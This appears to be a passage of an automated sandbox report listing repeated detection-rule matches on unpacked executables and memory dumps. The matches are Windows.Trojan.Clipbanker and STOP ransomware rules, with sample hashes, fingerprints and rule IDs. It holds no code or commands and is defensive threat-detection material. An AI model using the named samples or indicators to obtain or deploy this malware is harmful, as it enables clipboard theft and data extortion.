Source: 28.2.mstsca.exe.9715a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 28.2.mstsca.exe.9715a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 19.2.mstsca.exe.9315a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 19.2.mstsca.exe.9315a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 19.2.mstsca.exe.9315a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 19.2.mstsca.exe.9315a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 31.2.mstsca.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 31.2.mstsca.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 13.2.build3.exe.8115a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 13.2.build3.exe.8115a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 16.2.build3.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 16.2.build3.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 29.2.mstsca.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 29.2.mstsca.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 20.2.mstsca.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 20.2.mstsca.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 13.2.build3.exe.8115a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 13.2.build3.exe.8115a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 30.2.mstsca.exe.9715a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 30.2.mstsca.exe.9715a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 29.2.mstsca.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 29.2.mstsca.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 8.2.rq0mVjR9ar.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 8.2.rq0mVjR9ar.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 5.2.rq0mVjR9ar.exe.5e515a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 5.2.rq0mVjR9ar.exe.5e515a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 24.2.rq0mVjR9ar.exe.5dd15a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 24.2.rq0mVjR9ar.exe.5dd15a0.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 7.2.rq0mVjR9ar.exe.5e215a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 7.2.rq0mVjR9ar.exe.5e215a0.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 0.2.rq0mVjR9ar.exe.5d915a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 0.2.rq0mVjR9ar.exe.5d915a0.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 6.2.rq0mVjR9ar.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 6.2.rq0mVjR9ar.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 14.2.rq0mVjR9ar.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 14.2.rq0mVjR9ar.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 12.2.rq0mVjR9ar.exe.5df15a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 12.2.rq0mVjR9ar.exe.5df15a0.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 2.2.rq0mVjR9ar.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 2.2.rq0mVjR9ar.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 25.2.rq0mVjR9ar.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 25.2.rq0mVjR9ar.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 5.2.rq0mVjR9ar.exe.5e515a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 5.2.rq0mVjR9ar.exe.5e515a0.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 6.2.rq0mVjR9ar.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 6.2.rq0mVjR9ar.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 14.2.rq0mVjR9ar.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 14.2.rq0mVjR9ar.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 8.2.rq0mVjR9ar.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 8.2.rq0mVjR9ar.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 12.2.rq0mVjR9ar.exe.5df15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 12.2.rq0mVjR9ar.exe.5df15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 24.2.rq0mVjR9ar.exe.5dd15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 24.2.rq0mVjR9ar.exe.5dd15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 7.2.rq0mVjR9ar.exe.5e215a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 7.2.rq0mVjR9ar.exe.5e215a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 0.2.rq0mVjR9ar.exe.5d915a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 0.2.rq0mVjR9ar.exe.5d915a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 2.2.rq0mVjR9ar.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 2.2.rq0mVjR9ar.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 25.2.rq0mVjR9ar.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 25.2.rq0mVjR9ar.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 00000014.00000002.4521193545.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 00000014.00000002.4521193545.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
